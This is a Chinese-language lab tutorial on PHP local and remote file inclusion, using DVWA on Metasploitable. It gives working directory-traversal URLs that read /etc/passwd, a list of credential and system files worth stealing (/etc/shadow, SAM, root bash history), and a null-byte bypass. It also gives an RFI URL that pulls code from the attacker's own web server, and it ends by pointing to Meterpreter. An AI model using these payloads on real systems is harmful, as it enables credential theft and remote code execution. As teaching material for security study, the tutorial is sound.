远程文件包含(RFI)和本地文件包含(LFI)是通常在编写不好的Web应用程序中发现的漏洞。当Web应用程序允许用户将输入提交到文件或将文件上载到服务器时,会发生这些漏洞。
LFI漏洞允许攻击者读取(有时执行)受害机器上的文件。这可能非常危险,因为如果Web服务器配置错误并以高权限运行,攻击者可能会访问敏感信息。如果攻击者能够通过其他方式在Web服务器上放置代码,那么他们可能能够执行任意命令。
RFI漏洞更容易被利用,但不太常见。攻击者无法访问本地机器上的文件,而是能够执行自己机器上托管的代码。
为了演示这些技术,我们将在metasploitable中使用Damn Vulnerable Web Application(DVWA)。从您的浏览器连接到metasploitable,然后单击DVWA链接。
登录到DVWA的凭证是:admin / password
一旦我们通过身份验证,请单击左侧面板上的“DVWA Security”选项卡。将安全级别设置为“low( 低)”,然后单击“Submit”,然后选择“File Inclusion(文件包含)”选项卡。
在文件包含页面上,单击右下角的查看源按钮。如果您的安全设置成功设置为低,您应该看到以下源代码:
$file = $_GET['page']; //The page we wish to display
这段代码本身并不脆弱,因此漏洞在哪里?对于尚未拥有root权限的普通攻击者来说,这可能是他们调查结束的地方。$ _GET变量很有趣,他们将开始测试或扫描文件包含。由于我们已经拥有对计算机的root访问权限,因此我们可以加倍努力,看看我们是否可以找出漏洞来自哪里。
使用以下凭据SSH进行metasploitable2:msfadmin / msfadmin。
我们可以使用cat来查看/ var / www / dvwa / vulnerability / fi /目录下的index.php。
msfadmin:cat -n /var/www/dvwa/vulnerabilities/fi/index.php
查看输出,我们可以看到第15行有一个switch语句,它将安全设置作为输入,并根据应用的设置而中断。由于我们选择了“低”,代码继续调用/source/low.php。如果我们在index.php中向下看,我们可以看到第35行说:
include($file);
我们终于得到它了!我们找到了该漏洞的位置。此代码易受攻击,因为没有对用户提供的输入进行清理。具体来说,$ file变量在被include()函数调用之前未被清理。
如果Web服务器可以访问请求的文件,那么包含在里面的任何PHP代码都会被执行。文件中的任何非PHP代码都将显示在用户的浏览器中。
现在我们已经了解了文件包含漏洞可能发生的情况,我们将利用include.php页面上的漏洞。
本地文件包含(LFI)
在浏览器地址栏中输入以下内容:
http://192.168.80.134/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
上例中使用的“../”字符表示目录遍历。“../”序列的数量取决于受害机器上目标Web服务器的配置和位置。可能需要一些实验。
我们可以看到/ etc / passwd的内容显示在屏幕上。通过这种方式可以获得许多有关主机的有用信息。一些有趣的文件包括但不限于:
Linux文件位置:
– /etc/issue
– /proc/version
– /etc/profile
– /etc/passwd
– /etc/passwd
– /etc/shadow
– /root/.bash_history
– /var/log/dmessage
– /var/mail/root
– /var/spool/cron/crontabs/root
Windows文件位置:
– %SYSTEMROOT%\repair\system
– %SYSTEMROOT%\repair\SAM
– %SYSTEMROOT%\repair\SAM
– %WINDIR%\win.ini
– %SYSTEMDRIVE%\boot.ini
– %WINDIR%\Panther\sysprep.inf
– %WINDIR%\system32\config\AppEvent.Evt
OS X / macOS文件位置:
– /etc/fstab
– /etc/master.passwd
– /etc/resolv.conf
– /etc/sudoers
– /etc/sysctl.conf
有时在本地文件包含期间,Web服务器将“.php”附加到包含的文件中。例如,包含“/ etc / passwd”被渲染为“/etc/passwd.php”。当include函数使用类似“?page”的参数并将.php扩展名连接到文件时,会发生这种情况。在5.3以下版本的PHP中,使用空字节(%00)结束URL会导致解释器停止读取,这将允许攻击者包含其预期页面。
远程文件包含(RFI)
演示的这部分需要一些初始设置。我们将以此为契机开发一些Linux命令行和PHP技能。
为了使RFI成功,需要设置PHP配置文件中的两个函数。“allow_url_fopen”和“allow_url_include”都需要“On”。从PHP文档中,我们可以看到这些配置的功能。
allow_url_fopen - “这个选项启用URL感知的fopen包装器,以启用访问URL对象的文件。为使用ftp或http协议访问远程文件提供了默认的包装器,一些扩展如zlib可能会注册其他包装器。“
allow_url_include - “这个选项允许使用具有以下功能的URL-aware fopen包装:include,include_once,require,require_once”
要查找DVWA的配置文件,请单击左侧面板上的“PHP info”选项卡。这个屏幕给我们提供了大量有用的信息,包括PHP版本,受害者的操作系统,当然还有配置文件。我们可以看到加载的文件是“/etc/php5/cgi/php.ini”。
在metasploitable2中,我们可以使用nano打开php.ini文件:
msfadmin: sudo nano /etc/php5/cgi/php.ini
sudo password: msfadmin
在nano中,输入“ctrl-w”查找一个字符串。输入“allow_url”并回车。我们现在应该在php.ini文件的第573行(输入“ctrl-c”来查找nano中的当前行)。确保“allow_url_fopen”和“allow_url_include”都设置为“On”。用“ctrl-o”保存文件,然后用“ctrl-x”退出。现在,重新启动metasploitable的web服务器:
msfadmin: sudo /etc/init.d/apache2 restart
在kali,我们需要建立自己的网络服务器进行测试。首先,创建一个名为“rfi-test.php”的测试文件,然后启动apache。
[email protected]:~# echo "Success." > /var/www/html/rfi-test.php
[email protected]:~# systemctl start apache2
现在我们可以测试我们的RFI。在“File Inclusion”页面上,输入以下URL:
http://192.168.80.134/dvwa/vulnerabilities/fi/?page=http://192.168.80.128/rfi-test.php
从浏览器顶部显示的输出中,我们可以看到该页面确实容易受到RFI的影响。
要完成此RFI,我们将查看PHP Meterpreter页面上的php_include功能。